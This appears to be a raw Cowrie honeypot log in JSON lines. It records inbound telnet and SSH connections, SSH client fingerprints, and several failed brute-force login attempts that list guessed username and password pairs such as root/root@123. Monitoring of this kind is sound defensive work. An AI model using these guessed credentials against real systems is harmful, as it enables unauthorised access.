{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56920,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7170763337","protocol":"telnet","message":"New connection: 62.210.97.77:56920 (10.17.0.5:23) [session: 7b7170763337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:11.590854Z"}
{"eventid":"cowrie.session.closed","duration":36.938682317733765,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:13.003560Z","src_ip":"62.210.97.77","session":"a604dfcb2945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50042,"dst_ip":"10.17.0.5","dst_port":22,"session":"a42c072158e4","protocol":"ssh","message":"New connection: 176.65.132.254:50042 (10.17.0.5:22) [session: a42c072158e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:13.355112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:13.360433Z","src_ip":"176.65.132.254","session":"a42c072158e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:13.443141Z","src_ip":"176.65.132.254","session":"a42c072158e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:13.689559Z","src_ip":"176.65.132.254","session":"a42c072158e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.184255123138428,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:14.527567Z","src_ip":"65.60.27.33","session":"93d9c0fdfd0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:14.776615Z","src_ip":"176.65.132.254","session":"a42c072158e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.71342086791992,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:16.857904Z","src_ip":"65.60.27.33","session":"970e9717dd8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50044,"dst_ip":"10.17.0.5","dst_port":22,"session":"883f740ebe8d","protocol":"ssh","message":"New connection: 176.65.132.254:50044 (10.17.0.5:22) [session: 883f740ebe8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:17.351180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:17.356163Z","src_ip":"176.65.132.254","session":"883f740ebe8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.152286529541016,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:17.359761Z","src_ip":"62.210.97.77","session":"5f17a3edc207","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:17.441000Z","src_ip":"176.65.132.254","session":"883f740ebe8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:17.697719Z","src_ip":"176.65.132.254","session":"883f740ebe8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.44800329208374,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:17.737279Z","src_ip":"62.210.97.77","session":"99eeb2df8a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56928,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf3cefff602","protocol":"telnet","message":"New connection: 62.210.97.77:56928 (10.17.0.5:23) [session: cbf3cefff602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:18.395090Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:18.784739Z","src_ip":"176.65.132.254","session":"883f740ebe8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50058,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6da190eaac6","protocol":"ssh","message":"New connection: 176.65.132.254:50058 (10.17.0.5:22) [session: a6da190eaac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:21.239133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:21.249228Z","src_ip":"176.65.132.254","session":"a6da190eaac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:21.338416Z","src_ip":"176.65.132.254","session":"a6da190eaac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:21.656614Z","src_ip":"176.65.132.254","session":"a6da190eaac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.33771014213562,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:21.897604Z","src_ip":"62.210.97.77","session":"555b67c8e0bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34084,"dst_ip":"10.17.0.5","dst_port":23,"session":"76cf3ad4414d","protocol":"telnet","message":"New connection: 62.210.97.77:34084 (10.17.0.5:23) [session: 76cf3ad4414d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:22.132800Z"}
{"eventid":"cowrie.session.closed","duration":33.42524218559265,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:22.220889Z","src_ip":"62.210.97.77","session":"f706f6adf2df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54740333557129,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:22.721170Z","src_ip":"62.210.97.77","session":"bafe6d19876a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:22.743188Z","src_ip":"176.65.132.254","session":"a6da190eaac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57274,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8dae666146a","protocol":"telnet","message":"New connection: 134.209.8.29:57274 (159.203.135.109:23) [session: b8dae666146a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:22.851118Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34074,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a5ed943f986","protocol":"telnet","message":"New connection: 62.210.97.77:34074 (10.17.0.5:23) [session: 9a5ed943f986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:22.989288Z"}
{"eventid":"cowrie.session.closed","duration":0.9278442859649658,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:23.778841Z","src_ip":"134.209.8.29","session":"b8dae666146a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17428,"dst_ip":"10.17.0.5","dst_port":22,"session":"301f1e82c8a6","protocol":"ssh","message":"New connection: 190.129.122.12:17428 (10.17.0.5:22) [session: 301f1e82c8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:24.453169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:24.457802Z","src_ip":"190.129.122.12","session":"301f1e82c8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:24.625074Z","src_ip":"190.129.122.12","session":"301f1e82c8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.32725787162781,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:24.704695Z","src_ip":"62.210.97.77","session":"bdd40f3f213a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload123456789","message":"login attempt [ubuntu/upload123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:25.325687Z","src_ip":"190.129.122.12","session":"301f1e82c8a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40232,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd26152cd53","protocol":"ssh","message":"New connection: 176.65.132.254:40232 (10.17.0.5:22) [session: 8dd26152cd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:25.339934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:25.345139Z","src_ip":"176.65.132.254","session":"8dd26152cd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:25.435948Z","src_ip":"176.65.132.254","session":"8dd26152cd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:25.686048Z","src_ip":"176.65.132.254","session":"8dd26152cd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:26.495333Z","src_ip":"190.129.122.12","session":"301f1e82c8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:26.792849Z","src_ip":"176.65.132.254","session":"8dd26152cd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.287785053253174,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:26.909072Z","src_ip":"165.232.131.181","session":"d24b1fab2457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02975106239319,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:27.013062Z","src_ip":"62.210.97.77","session":"b3eeb482273e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.54602837562561,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:27.932599Z","src_ip":"62.210.97.77","session":"a3214946f1f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40234,"dst_ip":"10.17.0.5","dst_port":22,"session":"33805c34386d","protocol":"ssh","message":"New connection: 176.65.132.254:40234 (10.17.0.5:22) [session: 33805c34386d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:29.179128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:29.183957Z","src_ip":"176.65.132.254","session":"33805c34386d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:29.265910Z","src_ip":"176.65.132.254","session":"33805c34386d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.47678875923157,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:29.453102Z","src_ip":"62.210.97.77","session":"75e7c4976687","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:29.758729Z","src_ip":"176.65.132.254","session":"33805c34386d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48264,"dst_ip":"10.17.0.5","dst_port":23,"session":"7118b4f28f06","protocol":"telnet","message":"New connection: 38.54.119.93:48264 (10.17.0.5:23) [session: 7118b4f28f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:30.167670Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42578,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db8c7b07519","protocol":"telnet","message":"New connection: 62.210.97.77:42578 (10.17.0.5:23) [session: 5db8c7b07519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:30.201463Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51220,"dst_ip":"10.17.0.5","dst_port":23,"session":"e945767570b3","protocol":"telnet","message":"New connection: 165.232.131.181:51220 (10.17.0.5:23) [session: e945767570b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:30.571725Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:30.844589Z","src_ip":"176.65.132.254","session":"33805c34386d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.13085865974426,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:31.316460Z","src_ip":"62.210.97.77","session":"300dc72a7dca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.686869382858276,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:31.411352Z","src_ip":"62.210.97.77","session":"08e47257cf0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.903661251068115,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:31.691947Z","src_ip":"62.210.97.77","session":"8ee637b5645a","protocol":"telnet"}
